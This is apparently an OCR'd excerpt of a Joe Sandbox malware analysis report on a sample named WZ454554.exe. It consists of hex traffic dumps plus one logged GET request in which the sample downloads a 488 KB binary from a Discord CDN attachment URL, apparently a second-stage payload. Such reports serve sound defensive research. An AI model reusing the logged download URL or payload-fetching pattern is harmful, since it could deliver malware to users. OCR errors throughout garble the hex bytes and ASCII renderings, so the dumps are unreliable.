9c 02 2b d2 f1 fO a3 8c 4a 7b 2b d4 ab b8 dc 66 93 b3 9d 9c 77 95 3c 28 72 34 ff df 17 1e 09 30 Oa Oe 99 f3 c0 Oc 11 64 83
23 c0 9e fc fb ab a2 4f 28 9e eb 26 04 cf 63 94 05 3d b6 97 44 27 1e 00 19 2f 4b 47 27 e2 07 53 5d 67 95 le 60 87 d7 e7
56 f8 4e 67 c9 15 c8 3b el bf 46 8a 09 69 bc
Data Ascii: $T)\n7"RXZQXH,dYH:D*qn1?1['XH.\7eJZ@vbQaS9G4~\#%+I{+fw<(r40d#O(&c=D"/KG'S]g"VNg;Fi

2022-01-13 19:22:17 UTC 46 IN Data Raw: 5d d8 fb de c8 43 82 00 69 80 39 d3 89 ea f9 89 7d 5a 81 92 28 93 cd 32 d7 ad 99 86 45 38 8f e3 ff dc ca ed 31
97 94 01 78 1 3c 29 99 e4 5e 4 df af Oa be de 81 b1 d2 3f 56 7a a6 12 5f 7a aa 66 ef 21 e2 67 2f dd 19 c4 c1 4a a6 b4 a9
0b c9 63 0f b0 62 10 d4 54 €8 a0 Ob d2 4e bd 53 50 4e 59 15 9e 01 be 7b a0 19 d2 f7 ab e4 al ca db le 76 ca 93 4d f2 d6
8b d1 66 e7 77 25 01 24 64 99 62 69 89 dd 07 22 cf a4 9c b5 6a dd 7e Ob 37 e4 d5 da 32 ed ab a6 04 b1 57 83 02 ea a6
b4 3 35 31 90 66 9d fc 5f 14 32 04 bc 26 al 8e 12 el 84 ed 2b 95 f5 ac 58 €8 f4 3d ac 2d 29 31 22 e0 92 63 16 ba 11 c3
2e 17 93 9a 7d 21 59 c0 7a a6 06 b3 d0 e9 95 8b d0 f1 a3 e6 3c bc c4 b0 2d 85 d9 c8 ff dd 03 54 70 48 27 ed 36 11 a8 b0
c5 c6 ad ae 3f aa 35 8e f9 aa 86 30 0d 1a 76 bf 58 7a
Data Ascii: |Ci9}Z(2E81x<)"?Vz_zflg/lJcbTNSPNY{vMfw%$dbi"j~72W51f_2&+X=-)1"c.}!Yz<-TpH'6?50vXz

2022-01-13 19:22:17 UTC 48 IN Data Raw: 48 c4 8c b7 bf 48 af 05 73 2a 1a be 1a 78 b3 5e 20 0f 9a 26 27 b1 71 d9 0d 63 dc f5 ee e2 30 9d 23 17 1a fe 3b
4a c6 2e 11 a5 f4 20 30 50 3c 8f 80 96 24 69 7f 1c d2 e7 73 28 5e e5 {7 23 el 4b 57 9f 82 9f 6d 15 9e 18 12 5¢ 3c 91 el
57 71 39 bf 86 be 19 ¢7 7d 3f b5 a3 89 42 d0 22 3e 36 70 b2 9b 9c 18 52 4a 8f 9c 49 Ob bf 5a 26 42 37 af 02 4c 77 48 dd
0d 9e 29 fc 71 5b 21 f4 Oa al e2 3e Ob 6a 5f ed 5b 62 93 ab Oe 00 ca f1 1c f1 3c 3e 70 45 39 b6 40 99 f6 45 2f de 99 ad a9
f9 89 c7 af 37 a8 0d 6¢ b6 83 01 cb 87 €9 60 7d al e6 6b 6f 43 b5 00 a6 16 44 ab 82 01 cc 96 d2 a3 eb 20 4f f4 57 70 c7
2c 13 8b ca 89 97 ec 2a a2 0f d4 53 74 1a b9 bf f4 69 50 88 fb 3¢ 51 28 5a ed 36 7c b8 3c 34 a0 d7 7a Oc 9f d0 8a c1 2e f4
02 ad Of 72 af ca 95 fb 04 c2 ce ec 51 9¢ 62 34
Data Ascii: HHs*x" &'qc0#;J. OP<S$is("#KWm\<Wq9}?B">6pRJIZ&B7LwH)q[!>j_[b<>pEI@E/7I t}koCD OWp,*StiP<Q(Z6|
<4z.rQb4
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kBytes
Timestamp transferred

2022-01-13 19:22:17 UTC 49

2022-01-13 19:22:17 UTC 50

2022-01-13 19:22:17 UTC 52

2022-01-13 19:22:17 UTC 53

2022-01-13 19:22:17 UTC 54

Session ID Source IP

1 192.168.2.3
kBytes

Timestamp transferred

2022-01-13 19:22:17 UTC 58

2022-01-13 19:22:18 UTC 59

Copyright Joe Security LLC 2022

Direction

IN

Source Port
49747

Direction
ouT

Data

Data Raw: f9 dd 1a b8 b0 33 9a 94 b2 30 70 09 9b 11 bb 49 4e bc 8b a5 8f 5e 5b 77 23 43 7f b8 ce 2a 56 01 54 73 b9 b6
36 0c 51 20 4 fd d7 95 46 d3 dc 34 ec be c5 5a fd 13 d0 f1 26 ee 0f 43 a2 0f c1 16 44 42 31 f2 3c 3c 35 0f 6f 90 69 1b e0
e7 b4 eb 9b 99 fe 54 a3 92 10 5b 77 25 a9 dc el b3 09 5b 72 fe 72 ad ae 8d c2 60 2a f9 76 95 b5 d3 33 24 08 ac 0d 55 66
88 35 c8fb 83 d0 8c 15 ce 69 bb 4a d0 41 79 47 e3 3e 38 21 56 a4 08 58 17 bc cc b7 ca a2 e4 db 14 97 52 c2 cb cb 0f b9
2c 4f 59 23 ff a3 ¢7 7b 75 8c 5e €0 21 24 19 40 da 89 d4 48 43 b7 a6 8e 2f 8d 0d €9 78 dd 40 3b f2 5¢c e3 ea 23 ee b9 7
09 31 fb 7f 27 4c be cb 73 55 11 a0 0a 08 25 f8 43 53 9f e3 b4 74 ba 7f ec f2 31 db 07 79 27 {7 b3 3d b2 3b 05 eb 3d d7 ae
b6 ea db 13 c0 af dO 9e 1c 33 3f a7 95 11 18 3b 57

Data Ascii: 30pINA[W#C*VTs6Q F4Z&CDB1<<50iT[w%[rr *v3$Uf5iJAyG>8IVXR,0Y#HuN$@HC/x@;\#1'LsU%CSt1y'=;
=3?2;W

Data Raw: f4 41 b9 48 df 0f 39 b4 25 41 60 9b 4a 10 29 31 93 e8 a6 11 64 3c 03 28 14 42 92 fd 1c 65 Ob cb Of ba de a2 02
a4 Oc af 6a e8 1f 30 71 cf 46 dc 88 4e 4f cf 82 43 b6 37 c4 79 8a c9 6d 12 5b Oe e7 b1 fO b8 37 a0 75 51 50 9c c6 c0 c7 8e
ac 4a 63 b3 el Oa a8 00 4b 97 8d 59 be d6 9b f0 d3 66 de 9f 81 c6 4e 48 85 ce f9 c6 72 06 ee bd 57 7f aa 52 bc 60 14 e0
0a 09 43 ac 28 Oe 27 82 38 27 3a 15 c5 5¢ 84 ec d8 81 a3 3c 45 e0 24 4d 58 e6 b6 49 d4 12 41 de €9 51 fd 94 6e 3c 60
e6 a2 40 cc eb 38 9a b4 c8 4c 1a 3b d2 5e 14 05 3e 26 7a c6 bb 57 c7 65 1c 7e 5¢ 3d cc a7 ¢9 f1 01 72 76 05 c3 08 a5 87
d4 bb f6 36 5a ea 00 Oc 64 89 cb 7e db a6 fO b9 34 75 57 c6 40 e4 aa 32 1d 88 34 65 7e ae 73 0Of d6 86 f0 24 3c 30 1f f9 3f
7e 46 2d 44 ca 91 84 36 1a 78 a9 82 58 57 ad db 52

Data Ascii: AH9%A"J)1d<(BejogFNOC7ym[7uQPJcKYfNHIWR C('8"\<E$MXIAQN<'@8L; >&zWe~\=rv6Zd~4
UW@24e~s$<0?~F-D6XXWR

Data Raw: 4a ae 30 Oe fc 9d e6 4d b2 75 50 ca f8 1a 08 02 5f 09 3c 48 37 e0 99 fd d7 b0 92 08 bf 03 4b 1e db 68 97 f2 24
6b ad 2a 07 2d 67 c0 b6 6d 24 77 2d 97 66 15 fc 44 36 Ob b5 c7 78 c2 c¢6 dd 17 7b 35 3e 8c 42 43 2e 67 26 Oe el fe 4c 84
c7 77 2c 09 a0 b6 5d 1d 90 ce aa 30 c8 Oe 90 62 94 64 8c 47 5f 63 cb 87 e6 d5 7a bf 4c 42 7c 95 51 03 04 1e 3a Oa 15 9a
45 e5 6e bd 52 92 5a f7 c6 31 4d 30 al 4d 33 79 2f 88 49 5a 47 08 bd af ef 50 a3 7d ff d4 ef 3f 14 2e 66 fe 03 34 b3 52 cf
le 33 ee d5 Oa ac 9a 55 6¢ 97 4c 18 38 ¢3 Oc 40 56 5c 61 60 f4 44 ac ad de 78 e8 d3 Ob 30 33 89 dd 0a 5f f9 bd c9 1c 85
03 3593 fe ee 22 4a d2 e3 10 Oa 4e 76 c5 24 2f 8¢ 3c 60 e7 b9 f5 dc f6 e0 75 0a b8 22 77 48 a3 €9 be 78 a3 f6 34 7e d2
5291 ec 77 92 67 05 de 30 1d e9 36 27 e3 03 c0 07

Data Ascii: JOMuP_<H7Kh$k*-gm$w-fD6x{5>BC.g&Lw,]0bdG_czLB|Q:EnRZ1IMOM3y/IZGP}?.f4AR3UIL8@V\a Dx03_5"IN
V$/< u"wHx4~Rwg06'

Data Raw: 36 db e6 2a 0d ca e8 fe 42 6b 1a a9 22 cd 36 19 9b ec fa cb 99 40 31 be df Oe 5a 43 09 18 5e f1 33 f7 62 27 a8
0a b3 al f2 2e 16 fc 70 be c1 ¢5 cO fd cb 79 3e 50 c3 ae 26 64 97 21 ab b9 50 c5 17 88 1b 07 66 16 fd 36 39 ae 3d be d8
b3 93 ec ba 66 1e 53 40 39 a9 7d el aa 49 29 54 ee a3 81 ce e3 16 09 47 00 b2 7e 5f b9 af 8a 4d 58 ec a9 48 €9 38 26 05
e3 d8 3aeb dc fc c2 74 9f 86 5f 76 ca e7 03 21 ec b0 86 f4 fd e4 b6 2e 1e 8b 1f fb bc dc 6b 1f €9 33 39 1a 6f 15 da 99 88
5e 27 f2 44 27 14 9e 6b 5 7f d3 73 5b 3 b2 2e Ob ¢3 55 09 9c bf 77 2d 87 c2 be dO 5d 6d 08 bb e5 86 bc {7 df Ob ¢5 b5 6f
15 aa 21 62 8f e6 bf 0a ac 73 56 79 ae 17 dc 84 41 d3 12 57 0Oa 84 45 48 57 95 9f da 8a d5 77 22 72 4b 8e 01 29 5e 87 70
12 6e 8c 55 61 23 86 59 39 ae 35 94 c2 46 2f ad

Data Ascii: 6*BK"6@1ZC"3b'.py>P&d!Pf69=fS@9})TG~_MXH8&:t_v!.k390"'D'ks[.Uw-]mo!bsVyAWEHWwW"rK)"pnUa#
Y95F/

Data Raw: 47 50 db Oc 57 ¢7 71 20 71 21 b2 44 5f 9a e9 48 c4 da 9c 6¢ 35 3f a7 83 da 97 86 47 4e d1 75 30 fd 1c 19 91
bc 9b 08 14 18 57 38 3d e4 99 8c ed 4c cc be fe 58 f0 57 a4 08 c¢7 d5 bb 28 7b 3c 61 81 db 0a 57 bd 22 c7 a9 de e9 80 3d
09 8f ee d1 Oe 56 da c0 9f 4e d2 f7 d6 9f c7 c¢7 45 0f 13 70 d1 b8 61 86 25 3d 9a 08 1b €5 97 e4 e5 3a 31 9b 91 a7 2f 37 4f
84 1d f0 c1 46 ac 38 22 7d c5 60 a7 87 de 80 41 4b 8d 87 47 e2 36 0f c4 d4 9f 51 e0 93 f7 d7 17 da 13 3b b2 a3 73 2b 12
a6 13 07 d4 22 cd 7d 2f 82 Oe eb a3 3c 2f 8d f2 59 5a ff c3 49 eb 76 dd 56 eb 75 d5 d9 e2 05 3d be cb 08 ¢6 cf ed b5 bl
ba 67 b2 56 bc c2 40 ¢5 40 49 da ea 63 62 d0 fa 09 26 3d a2 10 51 2d c4 d9 4b 40 7e ac 5¢ 59 c4 77 30 Oc 47 3f fa 4b 24
6e f3 f5 ¢5 5¢ 03 f4 10 f9 Oa e7 26 29 2f a7 d6 43 2¢

Data Ascii: GPW(q ¢!D_HI5?GNuOW8=LXW({<aW"=VNEpa%=:1/70F8"} AKG6Q;s+"}/</YZIWWu=gV@ @Ich&=Q-
K@~\YWOG?K$n\&)/C,

Destination IP  Destination Port Process
162.159.130.233 443 C:\Users\user\Desktop\WZ454554.exe

Data

GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcaslizbwmlgsydewtjitxnzf HTTP/1.1
User-Agent: 97

Host: cdn.discordapp.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 13 Jan 2022 19:22:18 GMT

Content-Type: application/octet-stream

Content-Length: 488448

Connection: close

CF-Ray: 6cd0fe164e4342fd-FRA

Accept-Ranges: bytes

Age: 21537

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Hyrzbcwcasllzbwmlgsydewtjitxnzf

ETag: "6ce484ddb0699821883415a6a3c03422"

Expires: Fri, 13 Jan 2023 19:22:17 GMT

Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1642077905426119

X-goog-hash: crc32c=ezqS6w==

x-goog-hash: md5=bOSE3bBpmCGINBWmMo8AOIg==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 488448

X-GUploader-UploadID: ADPycdvRzXtsPBcamJvrOOnxQdLhRIEMoAYpY8SiWIAVO9bYx2AneSLOMYtS-kyelcV-
aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 60 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 32 22 68 74 74
7073 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 48 31 37 47 73 71 30 6¢ 5a 70 62 56 6a 41 69 38 6f 44 75 4d 75 25 32 42 31 31 51 44 52 64 6e 68 39 61 42 43 69 42
4c 45 33 68 59 4c 4f 53 68 45 61 43 6a 64 59 70 6b 4f 69 43 43 56 7a 68 45 54 70 78 33 56 39 64 52 50 45 35 37 76 4e
44 6b 4b 72 49 70 37 57 75 42 76 59 37 6b 30 4f 67 6¢ 25 32 42 78 4a 4d 50 25 32 42 51 41 5a 76 25 32 42 37 44 25 32
42 49 4f 54 4e 53 31 37 39 39 42 56 54 66 58 46 63 7a 48 61 31 61 64 78 6¢ 74 4a 41 25 33 44 25 33 44 22 7d 5d 2¢ 22 6
7 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6¢ 22 2¢c 22 6d 61 78 5f 61
Data Ascii: Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\Vreport\/v3?s=H17Gsq0lZpbVjAi8oDuM
u%2B11QDRdNh9aBCiBLE3hYLOShEaCjdYpkOiCCVzhETpx3VIdRPE57vNDKKrIp7WuBvY 7k00g1%2BxJ
MP%2BQAZv%2B7D%2BIOTNS1799BVTfXFczHaladxItJA%3D%3D"}], "group":"cf-nel","max_a

2022-01-13 19:22:18 UTC 60 IN Data Raw: 18 da 04 39 22 7 4a 5b 6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 al 05 b7 39 27 6e 03 b6 bc 46 4a
4f d3 fa c1 d4 73 af 2f 14 d5 ef al 14 d3 5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc
1f 74 30 95 7c 33 1d 6¢ 16 c8 64 Ob 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d Of 4d d3 eb a8 84 cb e7 ae ad 23
74 38 a3 1f 65 83 4e 55 f4 dc 17 5d 8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3k
32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b
3aaf 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff
44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 {7 58
Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0|3ldl/0a’r-M#t8eNU]"|;:%sI~6{=+;2.SQD *7(bU"|;:%sI~6{=+;2.SQD *-.X

2022-01-13 19:22:18 UTC 61 IN Data Raw: €8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5¢ f5 d7 06 af a5 86 4d 5a €2 82 5d 78 b5 ba cc e5 23 €6 bd 4c d7 le 78 a0
00 b0 2f 8a 54 3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6¢ 96 70
a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db
Oc 4d 55 6e 80 5a ed 2e 11 c4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b 24 77 26 79 37 a7 90 6¢
9e 07 338259 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20
6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 dO f5 ¢7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d
8f ec a0 Oc 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2
Data Ascii: _kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUNZ.EQYW7{$w&y7I3Yaday:5PH)KJIE[h m6LB0.B"~~]jO[}'A
TR*

2022-01-13 19:22:18 UTC 63 IN Data Raw: €3 16 58 f2 49 58 €8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5¢ f5 d7 06 af a5 86 4d 5a €2 82 5d 78 b5 ba cc e5 23 e6
bd 4c d7 1e 78 a0 00 b0 2f 8a 54 3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba
d6 9e 1a 6¢ 96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16
45 40 36 18 52 db Oc 4d 55 6e 80 5a ed 2e 11 ¢4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e 1le 7b 24 77
26 79 37 a7 90 6¢ 9e 07 33 8259 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68
81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f
5b 7d 27 fb d6 9d 8f ec a0 Oc 41 a4 00 bb 54 fc 52 c4
Data Ascii: XIX_KG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUNZ.EQYwW7{$w&y7I3Yaday:5PH)KJIE[h m6LB0.B"~~]jO[
YATR

2022-01-13 19:22:18 UTC 64 IN Data Raw: 75 2e 07 2b 89 d4 e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78
b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8
fa 57 66 94 72 ba d6 9e 1a 6¢ 96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 2 4f 4e db 03 28 00 bb 59 7
d2 f6 54 fd db 16 45 40 36 18 52 db Oc 4d 55 6e 80 5a ed 2e 11 c4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7
9e le 7b 24 77 26 79 37 a7 90 6¢ 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa
4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 d0 f5 c7 7e a7
82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 Oc 41 a4
Data Ascii: u.+XIX_kG\MZJx#Lx/T*hGYdHWfrlp@)1rON(Y TE@6RMUNZ.EQYw7{$w&y7I3Yaday:5PH)KIE[h m6LB0.B"~~]
JO[YA

2022-01-13 19:22:18 UTC 65 IN Data Raw: d4 fc e2 54 91 51 72 al 86 4c b9 e6 1a cl 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9
7e 56 2e 7f 2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 bl be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74
6c 69 19 dc 1d e0 12 4a 6f f9 d6 0d 34 0f 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db
€3 79 4a b0 fc 36 db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b
91 59 b6 57 84 9d ed 87 Oe 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb f9 21 8f 1a 50 ¢7 82 20 c9 74 fc de 07 82 24 db 6f
3d d1 e7 52 ad 31 75 39 de ea d4 ea 5c 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 1e bl
f1 2d d5 31 dO 14 6b 57 b8 e3 08 5e 42 1e fe c9 6f
Data Ascii: TQrLX99P.z{>,7~V.*RRO"gh#0?M tliJo4Z(}Hcqj~WgrryJéxe8_2bE7F~0Y'YW&ovOXJ~a IP t$0=R1ud\vY
~f|&i3-1kW"Bo

2022-01-13 19:22:18 UTC 67 IN Data Raw: 85 91 ca 32 a8 b6 2e 0a bl fc 72 81 10 89 69 d4 8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6¢ 43 04 7e ad
ae 37 df Ob ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 dO fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3¢
af d1 0f 37 7c 50 14 5c e4 al 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c Oc 23 31 71 Of cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5
46 cb 61 19 17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6¢ 54 53 6e 92 7e a8
92 6f 19 e7 e2 2a 3d b8 28 1d bc 4a 35 70 7b 8c 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe
2fe3 78 ¢3 94 d7 0d d6 9e 02 Of 7f 7d 48 1b Oe 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 f5 d5 71 2d 87 29
1 5b f8 97 40 30 1f fd cf bb 13 81 fa 96 93
Data Ascii: 2.1A9{,ZIC~7bzO>RC_h_70n<7|P\++#1gqNLRn+Fa'bZUrZ'0g2 PITSn~0*=(J5p{OYaw;qls3CaWc/x}H@75L??
Qg-)[@0

2022-01-13 19:22:18 UTC 68 IN Data Raw: b9 6a a3 59 b0 97 dc 9f 86 4d 6a 71 c6 4d 95 4e e4 al 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7
bc cf 66 95 f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce
el 0b c6 79 bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6¢ 85 b8 55 00 c7 aa 93 f9 c2 cl 5f 5e 23 31 da 57 82 42
34 0b cc 45 c9 ef 34 ¢4 30 15 d4 eb 30 5¢ 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c¢ 76 22 b6 cb 71
25 6 43 aa 86 ¢3 15 09 87 b4 27 f4 49 8¢ 96 bc 94 ba 28 7b 2d 95 el 78 7e 7c 19 le d1 Oc 45 4d 59 97 f0 af 8a 8f 5e 8b
db 1f fe a5 bb 6b 8a 87 3f d1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 Oe fc c9 a4 a9 14 5t
67 1b cO Of 06 €7 e3 b1 30 11 df 07 84 e5 8a 3a f7
Data Ascii: jYMjgMNNU )If=t~EJ 0Sg4q/U?Xy<&'(|1alU_"#1WB4E400\p%>.=(y;v"q%C'l({-x~|EMY”k?9%9Z mq}Ui$A_gO:

2022-01-13 19:22:18 UTC 69 IN Data Raw: ad 6b 5d 69 01 fe b2 30 01 3c 39 f5 27 95 ee 62 3f bc ¢1 54 ed ¢7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4
db 10 4b 5a e7 24 7a be 18 e5 31 9a 74 b6 a9 a6 53 b0 f7 77 22 65 12 4e ed 22 51 03 e9 cb 75 25 f2 55 43 63 Oc 5¢ 36 ef
4c d9 1a 6a fe 09 84 63 cd dc 6 5f 71 27 50 c5 fa 97 2b 6d 60 f7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4¢c 78 75 ce 89
d1 77 3a a6 27 56 fc 92 da e7 2f 82 50 83 de 8a 5 Oe fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76
be da 87 cf d0 bf 13 11 7c 31 9e 10 5¢ 99 95 a2 c6 1b 55 e0 8c 49 54 5 6a 6e 20 b5 Oc b9 4c dc 86 b6 37 85 6d da 65 8d
e4 b4 28 d0 f6 ac 15 Oc a5 7c b2 2c 1f 56 21 ¢8 58 29 3a 99 eb 2c Oe 88 fd b3 23 29 6f f0 ba ce e7 27 a9 59 35 42 d5 94
61 77 26 32 28 03 38 fb 6a 7b 32 19 d3 71 4f 3b e6
Data Ascii: k]i0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_g'P+m G'1IN8B.>SLxuw:'V/PIFXZZM]zkdjz v|1\UITjn L7m
e(|,V!IX): #)o'Y5Baw&2(8j{2q0;
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 71 IN Data Raw: 38 2e c8 ab 3f 4e 01 98 Ob d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 Ob c4 1d 54 86 57 69 1a bb 6a 3f 90
bf f3 ae 3b ac 3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 6 6f 1f 55 ad 17 5c¢ f1 3c 23 98 01 11 7a 6b
fd 53 5f 6d 14 d1 6d 86 3a eb 85 4e c2 c4 dc 25 c9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a
b6 cb 6317 d6 bc dd b6 11 10 al 31 9d 93 el 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d
b2 83 79 38 2a 05 84 24 3a 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55
a5 2e 5a ec bf 44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38
fb 7c fe 53 4a dc e7 cb 59 25 3b 10 00 a7 84 5b d3 3a 1d
Data Ascii: 8.?NZ=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R <*c1>g-a5tpHt&]y8*$:(CpJ!|V.U.ZD!NnjQaq)jb/88|SJIY%:;[:

2022-01-13 19:22:18 UTC 72 IN Data Raw: 22 8a 5d el 54 96 94 64 41 98 Oc fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 al 79 52 7f 83 be 6¢ 7a
bc 65 03 f3 f3 b9 b1 9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6
d8 40 5e 12 6f 15 cc f6 59 1c 70 Oa 4c ad Oe 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 €0 90 cO
26 15 42 6a €6 36 1c a6 2c 71 c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 c5 3b 3b 1c 04 1c 77 fd f9 a5 76 84
50 ¢9 66 9d 5f bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 Oa 31 a7 03 6e ec 52
240351 84 ec df 17 aa 2a Oc 81 e3 75 bf 7c 61 66 7 7e 90 74 b5 ab al 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5¢
18 66 89 de 96 6¢ 3a 44 9a 63 €9 15 db Ob ¢9 63 cc cO
